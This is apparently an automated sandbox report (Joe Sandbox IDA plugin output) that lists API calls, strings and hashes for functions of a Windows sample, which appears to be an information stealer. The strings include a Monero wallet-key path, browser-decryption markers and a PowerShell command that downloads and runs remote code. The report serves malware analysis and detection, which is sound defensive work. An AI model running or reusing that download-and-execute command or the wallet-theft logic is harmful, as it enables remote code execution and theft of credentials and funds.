Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 27d74d8ed553d39c2820a4f2c2c5d741791c7d733a3a530d131055bbfe80ffd5
Instruction ID: c47a1d5912372211c520f9dd31e7701f03f645d3f02bd74b35c602491461fef6
Opcode Fuzzy Hash: 27d74d8ed553d39c2820a4f2c2c5d741791c7d733a3a530d131055bbfe80ffd5
Instruction Fuzzy Hash: F2310AB4A00218ABDB24CF94DC89BDDB7B4FB48704F5081D9EA09B7281D7706AC58F99

Function 005D83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005D8426
wsprintfA.USER32 ref: 005D8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 005D847B
RegCloseKey.ADVAPI32(00000000), ref: 005D848C
RegCloseKey.ADVAPI32(00000000), ref: 005D8499

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

RegQueryValueExA.ADVAPI32(00000000,014B0078,00000000,000F003F,?,00000400), ref: 005D84EC
lstrlen.KERNEL32(?), ref: 005D8501
RegQueryValueExA.ADVAPI32(00000000,014B0288,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,005E0B34), ref: 005D8599
RegCloseKey.ADVAPI32(00000000), ref: 005D8608
RegCloseKey.ADVAPI32(00000000), ref: 005D861A

Strings

%s\%s, xrefs: 005D844D

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b8304ddb68edf9076df57f3239b07fa6396b3ab3bd1f03de0e629aeb720040e1
Instruction ID: 18fa3ec30a8d1b8c2ee392b6ef63edac443298d98ffb5a6fb24f6cf4961c806f
Opcode Fuzzy Hash: b8304ddb68edf9076df57f3239b07fa6396b3ab3bd1f03de0e629aeb720040e1
Instruction Fuzzy Hash: 2B212A7191021CABDB68DB54DC85FE9B7B8FB48700F00C5DAE609A6280DF71AA85CFD4

Function 005D7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D76A4
RtlAllocateHeap.NTDLL(00000000), ref: 005D76AB
RegOpenKeyExA.ADVAPI32(80000002,0149B878,00000000,00020119,00000000), ref: 005D76DD
RegQueryValueExA.ADVAPI32(00000000,014B0300,00000000,00000000,?,000000FF), ref: 005D76FE
RegCloseKey.ADVAPI32(00000000), ref: 005D7708

Strings

Windows 11, xrefs: 005D76BD

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 024540c8c133855cdb3b711c3a424b0043a79a585969587b0dc45222e9aac406
Instruction ID: 3d72ddb831efd2766b80325a596b9a644a284dabb87c12059c024bd1e00cb907
Opcode Fuzzy Hash: 024540c8c133855cdb3b711c3a424b0043a79a585969587b0dc45222e9aac406
Instruction Fuzzy Hash: 960162B5A04308BBD714DBE4DC49F6EBBB8FB48701F108456FA05E7291E6709940CB51

Function 005D7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7734
RtlAllocateHeap.NTDLL(00000000), ref: 005D773B
RegOpenKeyExA.ADVAPI32(80000002,0149B878,00000000,00020119,005D76B9), ref: 005D775B
RegQueryValueExA.ADVAPI32(005D76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 005D777A
RegCloseKey.ADVAPI32(005D76B9), ref: 005D7784

Strings

CurrentBuildNumber, xrefs: 005D7771

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 2fb00b84359578c3d45b7c1adc28332d7100f8a6e90e285ad60b4391c9ecd085
Instruction ID: 02c0554660b7cbcce819c0366d84435d546b3bc849e13e83b0dd84802d6a929d
Opcode Fuzzy Hash: 2fb00b84359578c3d45b7c1adc28332d7100f8a6e90e285ad60b4391c9ecd085
Instruction Fuzzy Hash: 860167B5A40308BBD754DBE4DC49FBEB7B8FB48701F008555FA05A7281D67055008B52

Function 005D92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:],80000000,00000003,00000000,00000003,00000080,00000000,?,005D3AEE,?), ref: 005D92FC
GetFileSizeEx.KERNEL32(000000FF,:]), ref: 005D9319
CloseHandle.KERNEL32(000000FF), ref: 005D9327

Strings

:], xrefs: 005D9311, 005D933D, 005D9314
:], xrefs: 005D92F8, 005D92FB

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :]$:]
API String ID: 1378416451-3251503520
Opcode ID: b1887c20f6fdedd98eacee2a02e7dc39e938642f21176b82def8e85c113575d1
Instruction ID: 61b089fd30c2be521c581ad534ac97a58019ef616f1951cbf1ded15b28e5d2c2
Opcode Fuzzy Hash: b1887c20f6fdedd98eacee2a02e7dc39e938642f21176b82def8e85c113575d1
Instruction Fuzzy Hash: 83F04F75E40308BBDB28DFB4DC49F9E7BF9BB48710F10CA55B651A72C0D67096018B41

Function 005C99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
LocalFree.KERNEL32(005C148F), ref: 005C9A90
CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 14c8a19ed4938bd2712cb85e0ce1aef1975e4969a1543ea04b0eac88057a1490
Instruction ID: 65a6980b1f881443123bf7b31724d091893cf3868f79eeecbdee9c61b5bc7339
Opcode Fuzzy Hash: 14c8a19ed4938bd2712cb85e0ce1aef1975e4969a1543ea04b0eac88057a1490
Instruction Fuzzy Hash: C23108B4A00209EFDB14CF94C989FAE7BB5FF48340F108158E911A7290D774AA41CFA1

Function 005D4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,014B0468), ref: 005D47DB

Part of subcall function 005D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005D8E0B

lstrcat.KERNEL32(?,00000000), ref: 005D4801
lstrcat.KERNEL32(?,?), ref: 005D4820
lstrcat.KERNEL32(?,?), ref: 005D4834
lstrcat.KERNEL32(?,0149A450), ref: 005D4847
lstrcat.KERNEL32(?,?), ref: 005D485B
lstrcat.KERNEL32(?,014AF648), ref: 005D486F

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005D8D90: GetFileAttributesA.KERNEL32(00000000,?,005C1B54,?,?,005E564C,?,?,005E0E1F), ref: 005D8D9F

Part of subcall function 005D4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005D4580
Part of subcall function 005D4570: RtlAllocateHeap.NTDLL(00000000), ref: 005D4587
Part of subcall function 005D4570: wsprintfA.USER32 ref: 005D45A6
Part of subcall function 005D4570: FindFirstFileA.KERNEL32(?,?), ref: 005D45BD

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 6078114a35de81c8ba94e5bbd9ee71356e3ce9143fd5d2398968af0d813f18e6
Instruction ID: fc560475d397fe028c6ca20650fb4147cf105d31121289bad936fb7d7809d3de
Opcode Fuzzy Hash: 6078114a35de81c8ba94e5bbd9ee71356e3ce9143fd5d2398968af0d813f18e6
Instruction Fuzzy Hash: 483191B6900309A7CB24FBB4DC89EED777CBB88300F40459AB35996181EE70D7898F95

Function 005D2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

ShellExecuteEx.SHELL32(0000003C), ref: 005D2D85

Strings

<, xrefs: 005D2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 005D2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 005D2D04
')", xrefs: 005D2CB3

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 112db245b9167f0633ac3f43828999e1e5facd6adb10e58550445c8305c0f600
Instruction ID: 9fe7cf71c9feac1f493188b680043343cfc24a4883f66e9c14fc89ee71db58ea
Opcode Fuzzy Hash: 112db245b9167f0633ac3f43828999e1e5facd6adb10e58550445c8305c0f600
Instruction Fuzzy Hash: CE41D271C102499ADB28FBA4C895BEEBF78BF50300F40411BE446A6291DF746A8ADF95

Function 005C9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 005C9F41

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 005C9E67
v20, xrefs: 005C9E21
v10, xrefs: 005C9EA3
@, xrefs: 005C9EF1

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e9576280ecb9f1dc7a4817be847349d1b54d91146b503a96770557a73b215531
Instruction ID: 5cd5461e4e8fcf16c6e1883abd78ac8673a15fa9e5df56d3151867e6f41ad95a
Opcode Fuzzy Hash: e9576280ecb9f1dc7a4817be847349d1b54d91146b503a96770557a73b215531
Instruction Fuzzy Hash: B1614270A1024D9FDB24EFA4CC9AFEE7B75BF84344F008419F90A5B291DB746A45CB91

Function 005D40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,014AF7A8,00000000,00020119,?), ref: 005D40F4
RegQueryValueExA.ADVAPI32(?,014B0480,00000000,00000000,00000000,000000FF), ref: 005D4118
RegCloseKey.ADVAPI32(?), ref: 005D4122
lstrcat.KERNEL32(?,00000000), ref: 005D4147
lstrcat.KERNEL32(?,014B04B0), ref: 005D415B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 2afb2dc3392f16256672f59ee0175848aeb1b4a9a5cf21611ff8bee4c4af4e72
Instruction ID: b13dfa1abf7d2cedb2dfab806ed5f39ddde3dc7a9b1cd9199f70490b8c092239
Opcode Fuzzy Hash: 2afb2dc3392f16256672f59ee0175848aeb1b4a9a5cf21611ff8bee4c4af4e72
Instruction Fuzzy Hash: DC415BB6D002086BDB28EBE0DC5AFFE777DB788300F40455DB61656181EA759B888FD2

Function 005D7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7E37
RtlAllocateHeap.NTDLL(00000000), ref: 005D7E3E
RegOpenKeyExA.ADVAPI32(80000002,0149B9C8,00000000,00020119,?), ref: 005D7E5E
RegQueryValueExA.ADVAPI32(?,014AF728,00000000,00000000,000000FF,000000FF), ref: 005D7E7F
RegCloseKey.ADVAPI32(?), ref: 005D7E92

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: b30cf69a5a630b46df9e2a3276af5a0a4da7ee00054be5f6b5634edb2900102c
Instruction ID: 436a090c028b8b19b937b6d418e1e72434ef73d788d0c5c074d41d88376ac0aa
Opcode Fuzzy Hash: b30cf69a5a630b46df9e2a3276af5a0a4da7ee00054be5f6b5634edb2900102c
Instruction Fuzzy Hash: 031151B1A44309EBD718CF98DD49F7BBBBCFB48711F10815AF605A7280D77458008BA2

Function 005D9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

